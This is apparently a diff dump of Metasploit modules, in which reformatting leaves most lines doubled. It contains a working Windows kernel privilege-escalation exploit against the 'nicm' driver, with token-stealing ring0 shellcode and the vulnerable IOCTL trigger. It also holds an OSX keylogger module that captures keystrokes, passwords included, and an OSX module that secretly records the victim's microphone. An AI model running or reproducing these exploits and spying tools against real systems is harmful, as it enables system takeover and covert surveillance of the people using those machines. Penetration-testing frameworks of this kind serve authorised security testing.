r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
handle = r['return']
handle = r['return']
if handle == invalid_handle_value
return nil
end
if handle == invalid_handle_value
return nil
end
return handle
end
return handle
end
def ring0_shellcode(t)
tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel!
def ring0_shellcode(t)
tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel!
return tokenstealing
end
return tokenstealing
end
def allocate_memory(proc, address, length)
def allocate_memory(proc, address, length)
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
if not result["BaseAddress"] or result["BaseAddress"].empty?
vprint_error("Failed to allocate memory")
return nil
end
if not result["BaseAddress"] or result["BaseAddress"].empty?
vprint_error("Failed to allocate memory")
return nil
end
my_address = result["BaseAddress"].unpack("V")[0]
my_address = result["BaseAddress"].unpack("V")[0]
vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")
vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")
if not proc.memory.writable?(my_address)
vprint_error("Failed to allocate memory")
return nil
else
vprint_good("0x#{my_address.to_s(16)} is now writable")
end
if not proc.memory.writable?(my_address)
vprint_error("Failed to allocate memory")
return nil
else
vprint_good("0x#{my_address.to_s(16)} is now writable")
end
return my_address
end
return my_address
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def check
handle = open_device("\\\\.\\nicm")
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
return Exploit::CheckCode::Detected
end
def check
handle = open_device("\\\\.\\nicm")
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
return Exploit::CheckCode::Detected
end
def exploit
def exploit
vprint_status("Adding the railgun stuff...")
add_railgun_functions
vprint_status("Adding the railgun stuff...")
add_railgun_functions
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end
my_target = nil
if target.name =~ /Automatic/
print_status("Detecting the target system...")
os = sysinfo["OS"]
if os =~ /windows 7/i
my_target = targets[1]
print_status("Running against #{my_target.name}")
end
else
my_target = target
end
my_target = nil
if target.name =~ /Automatic/
print_status("Detecting the target system...")
os = sysinfo["OS"]
if os =~ /windows 7/i
my_target = targets[1]
print_status("Running against #{my_target.name}")
end
else
my_target = target
end
if my_target.nil?
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
end
if my_target.nil?
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
end
print_status("Checking device...")
handle = open_device("\\\\.\\nicm")
if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\nicm device not found")
else
print_good("\\\\.\\nicm found!")
end
print_status("Checking device...")
handle = open_device("\\\\.\\nicm")
if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\nicm device not found")
else
print_good("\\\\.\\nicm found!")
end
this_proc = session.sys.process.open
this_proc = session.sys.process.open
print_status("Storing the Kernel stager on memory...")
stager_address = 0x0d0d0000
stager_address = allocate_memory(this_proc, stager_address, 0x1000)
print_status("Storing the Kernel stager on memory...")
stager_address = 0x0d0d0000
stager_address = allocate_memory(this_proc, stager_address, 0x1000)
if stager_address.nil? or stager_address == 0
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to allocate memory")
end
if stager_address.nil? or stager_address == 0
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to allocate memory")
end
# eax => &kernel_stager
# .text:000121A3 mov ecx, eax
# .text:000121A5 mov eax, [ecx]
# .text:000121A7 mov edx, [eax]
# .text:000121A9 push ecx
# .text:000121AA push eax
# .text:000121AB call dword ptr [edx+0Ch]
kernel_stager = [
stager_address + 0x14, # stager_address
junk,
junk,
junk,
junk,
stager_address + 0x18, # stager_address + 0x14
junk,
junk,
junk,
stager_address + 0x28 # stager_address + 0x24
].pack("V*")
# eax => &kernel_stager
# .text:000121A3 mov ecx, eax
# .text:000121A5 mov eax, [ecx]
# .text:000121A7 mov edx, [eax]
# .text:000121A9 push ecx
# .text:000121AA push eax
# .text:000121AB call dword ptr [edx+0Ch]
kernel_stager = [
stager_address + 0x14, # stager_address
junk,
junk,
junk,
junk,
stager_address + 0x18, # stager_address + 0x14
junk,
junk,
junk,
stager_address + 0x28 # stager_address + 0x24
].pack("V*")
kernel_stager << ring0_shellcode(my_target)
kernel_stager << ring0_shellcode(my_target)
result = this_proc.memory.write(stager_address, kernel_stager)
result = this_proc.memory.write(stager_address, kernel_stager)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to write contents to memory")
else
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
end
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to write contents to memory")
else
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
end
print_status("Triggering the vulnerability to execute the Kernel Handler")
magic_ioctl = 0x143B6B # Vulnerable IOCTL
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
session.railgun.kernel32.CloseHandle(handle)
print_status("Triggering the vulnerability to execute the Kernel Handler")
magic_ioctl = 0x143B6B # Vulnerable IOCTL
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
session.railgun.kernel32.CloseHandle(handle)
if ioctl["GetLastError"] != 0
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
end
if ioctl["GetLastError"] != 0
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
end
print_status("Checking privileges after exploitation...")
print_status("Checking privileges after exploitation...")
if not is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful")
else
print_good("Exploitation successful!")
end
if not is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful")
else
print_good("Exploitation successful!")
end
p = payload.encoded
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
if execute_shellcode(p)
print_good("Enjoy")
else
fail_with(Failure::Unknown, "Error while executing the payload")
end
end
p = payload.encoded
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
if execute_shellcode(p)
print_good("Enjoy")
else
fail_with(Failure::Unknown, "Error while executing the payload")
end
end
end

View File

@ -8,142 +8,142 @@
require 'shellwords'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::Common
include Msf::Post::File
include Msf::Auxiliary::Report
# when we need to read from the keylogger,
# we first "knock" the process by sending a USR1 signal.
# the keylogger opens a local tcp port (22899 by default) momentarily
# that we can connect to and read from (using cmd_exec(telnet ...)).
attr_accessor :port
# when we need to read from the keylogger,
# we first "knock" the process by sending a USR1 signal.
# the keylogger opens a local tcp port (22899 by default) momentarily
# that we can connect to and read from (using cmd_exec(telnet ...)).
attr_accessor :port
# the pid of the keylogger process
attr_accessor :pid
# the pid of the keylogger process
attr_accessor :pid
# where we are storing the keylog
attr_accessor :loot_path
# where we are storing the keylog
attr_accessor :loot_path
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Capture Userspace Keylogger',
'Description' => %q{
Logs all keyboard events except cmd-keys and GUI password input.
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Capture Userspace Keylogger',
'Description' => %q{
This module logs all keyboard events except cmd-keys and GUI password input.
Keylogs are transferred between client/server in chunks
every SYNCWAIT seconds for reliability.
Keylogs are transferred between client/server in chunks
every SYNCWAIT seconds for reliability.
Works by calling the Carbon GetKeys() hook using the DL lib
in OSX's system Ruby. The Ruby code is executed in a shell
command using -e, so the payload never hits the disk.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ]
))
It works by calling the Carbon GetKeys() hook using the DL lib
in OSX's system Ruby. The Ruby code is executed in a shell
command using -e, so the payload never hits the disk.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ]
))
register_options(
[
OptInt.new('DURATION',
[ true, 'The duration in seconds.', 600 ]
),
OptInt.new('SYNCWAIT',
[ true, 'The time between transferring log chunks.', 10 ]
),
OptPort.new('LOGPORT',
[ false, 'Local port opened for momentarily for log transfer', 22899 ]
)
]
)
end
register_options(
[
OptInt.new('DURATION',
[ true, 'The duration in seconds.', 600 ]
),
OptInt.new('SYNCWAIT',
[ true, 'The time between transferring log chunks.', 10 ]
),
OptPort.new('LOGPORT',
[ false, 'Local port opened for momentarily for log transfer', 22899 ]
)
]
)
end
def run_ruby_code
# to pass args to ruby -e we use ARGF (stdin) and yaml
opts = {
:duration => datastore['DURATION'].to_i,
:port => self.port
}
cmd = ['ruby', '-e', ruby_code(opts)]
def run_ruby_code
# to pass args to ruby -e we use ARGF (stdin) and yaml
opts = {
:duration => datastore['DURATION'].to_i,
:port => self.port
}
cmd = ['ruby', '-e', ruby_code(opts)]
rpid = cmd_exec(cmd.shelljoin, nil, 10)
rpid = cmd_exec(cmd.shelljoin, nil, 10)
if rpid =~ /^\d+/
print_status "Ruby process executing with pid #{rpid.to_i}"
rpid.to_i
else
fail_with(Exploit::Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
end
end
if rpid =~ /^\d+/
print_status "Ruby process executing with pid #{rpid.to_i}"
rpid.to_i
else
fail_with(Exploit::Failure::Unknown, "Ruby keylogger command failed with error #{rpid}")
end
end
def run
if session.nil?
print_error "Invalid SESSION id."
return
end
def run
if session.nil?
print_error "Invalid SESSION id."
return
end
if datastore['DURATION'].to_i < 1
print_error 'Invalid DURATION value.'
return
end
if datastore['DURATION'].to_i < 1
print_error 'Invalid DURATION value.'
return
end
print_status "Executing ruby command to start keylogger process."
print_status "Executing ruby command to start keylogger process."
@port = datastore['LOGPORT'].to_i
@pid = run_ruby_code
@port = datastore['LOGPORT'].to_i
@pid = run_ruby_code
begin
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
print_status "Entering read loop"
while true
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
Rex.sleep(datastore['SYNCWAIT'])
print_status "Sending USR1 signal to open TCP port..."
cmd_exec("kill -USR1 #{self.pid}")
print_status "Dumping logs..."
log = cmd_exec("telnet localhost #{self.port}")
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
log = log_a.join("\n")+"\n"
print_status "#{log_a.size} keystrokes captured"
if log_a.size > 0
if self.loot_path.nil?
self.loot_path = store_loot(
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
)
else
File.open(self.loot_path, 'a') { |f| f.write(log) }
end
print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
print_status "Saved to #{self.loot_path}"
end
end
end
rescue ::Timeout::Error
print_status "Keylogger run completed."
end
end
begin
Timeout.timeout(datastore['DURATION']+5) do # padding to read the last logs
print_status "Entering read loop"
while true
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
Rex.sleep(datastore['SYNCWAIT'])
print_status "Sending USR1 signal to open TCP port..."
cmd_exec("kill -USR1 #{self.pid}")
print_status "Dumping logs..."
log = cmd_exec("telnet localhost #{self.port}")
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
log = log_a.join("\n")+"\n"
print_status "#{log_a.size} keystrokes captured"
if log_a.size > 0
if self.loot_path.nil?
self.loot_path = store_loot(
"keylog", "text/plain", session, log, "keylog.log", "OSX keylog"
)
else
File.open(self.loot_path, 'ab') { |f| f.write(log) }
end
print_status(log_a.map{ |a| a=~/([^\s]+)\s*$/; $1 }.join)
print_status "Saved to #{self.loot_path}"
end
end
end
rescue ::Timeout::Error
print_status "Keylogger run completed."
end
end
def kill_process(pid)
print_status "Killing process #{pid.to_i}"
cmd_exec("kill #{pid.to_i}")
end
def kill_process(pid)
print_status "Killing process #{pid.to_i}"
cmd_exec("kill #{pid.to_i}")
end
def cleanup
return if session.nil?
return if not @cleaning_up.nil?
@cleaning_up = true
def cleanup
return if session.nil?
return if not @cleaning_up.nil?
@cleaning_up = true
if self.pid.to_i > 0
print_status("Cleaning up...")
kill_process(self.pid)
end
end
if self.pid.to_i > 0
print_status("Cleaning up...")
kill_process(self.pid)
end
end
def ruby_code(opts={})
<<-EOS
def ruby_code(opts={})
<<-EOS
# Kick off a child process and let parent die
child_pid = fork do
require 'thread'

View File

@ -17,37 +17,37 @@ class Metasploit3 < Msf::Post
POLL_TIMEOUT = 120
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Manage Record Microphone',
'Description' => %q{
This module will allow you to detect (with the LIST action) and
capture (with the RECORD action) audio inputs on a remote OSX machine.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Actions' => [
[ 'LIST', { 'Description' => 'Show a list of microphones' } ],
[ 'RECORD', { 'Description' => 'Record from a selected audio input' } ]
],
'DefaultAction' => 'LIST'
))
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Manage Record Microphone',
'Description' => %q{
This module will allow the user to detect (with the LIST action) and
capture (with the RECORD action) audio inputs on a remote OSX machine.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
'Platform' => [ 'osx'],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Actions' => [
[ 'LIST', { 'Description' => 'Show a list of microphones' } ],
[ 'RECORD', { 'Description' => 'Record from a selected audio input' } ]
],
'DefaultAction' => 'LIST'
))
register_options(
[
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
OptString.new('TMP_FILE',
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
),
OptString.new('AUDIO_COMPRESSION',
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
),
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
], self.class)
end
register_options(
[
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
OptString.new('TMP_FILE',
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
),
OptString.new('AUDIO_COMPRESSION',
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
),
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
], self.class)
end
def run
@ -72,48 +72,48 @@ class Metasploit3 < Msf::Post
:snap_file => tmp_file
)
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
if action.name =~ /list/i
print_good output
elsif action.name =~ /record/i
@pid = output.to_i
print_status "Running record service with PID #{@pid}"
(0...num_chunks).each do |i|
# wait SYNC_WAIT seconds
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
Rex.sleep(datastore['SYNC_WAIT'])
# start reading for file
begin
::Timeout.timeout(poll_timeout) do
while true
if File.exist?(tmp_file)
# read file
contents = File.read(tmp_file)
# delete file
rm_f(tmp_file)
# roll filename
base = File.basename(tmp_file, '.*') # returns it with no extension
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
ext = File.extname(tmp_file) || 'o'
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
# store contents in file
title = "OSX Mic Recording "+i.to_s
f = store_loot(title, "audio/quicktime", session, contents,
"osx_mic_rec#{i}.qt", title)
print_good "Record file captured and saved to #{f}"
print_status "Rolling record file. "
break
else
Rex.sleep(0.3)
end
end
end
rescue ::Timeout::Error
fail_with("Client did not respond to file request after #{poll_timeout}s, exiting.")
end
end
end
end
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
if action.name =~ /list/i
print_good output
elsif action.name =~ /record/i
@pid = output.to_i
print_status "Running record service with PID #{@pid}"
(0...num_chunks).each do |i|
# wait SYNC_WAIT seconds
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
Rex.sleep(datastore['SYNC_WAIT'])
# start reading for file
begin
::Timeout.timeout(poll_timeout) do
while true
if File.exist?(tmp_file)
# read file
contents = File.read(tmp_file)
# delete file
rm_f(tmp_file)
# roll filename
base = File.basename(tmp_file, '.*') # returns it with no extension
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
ext = File.extname(tmp_file) || 'o'
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
# store contents in file
title = "OSX Mic Recording "+i.to_s
f = store_loot(title, "audio/quicktime", session, contents,
"osx_mic_rec#{i}.qt", title)
print_good "Record file captured and saved to #{f}"
print_status "Rolling record file. "
break
else
Rex.sleep(0.3)
end
end
end
rescue ::Timeout::Error
fail_with("Client did not respond to file request after #{poll_timeout}s, exiting.")
end
end
end
end
def cleanup
return unless @cleaning_up.nil?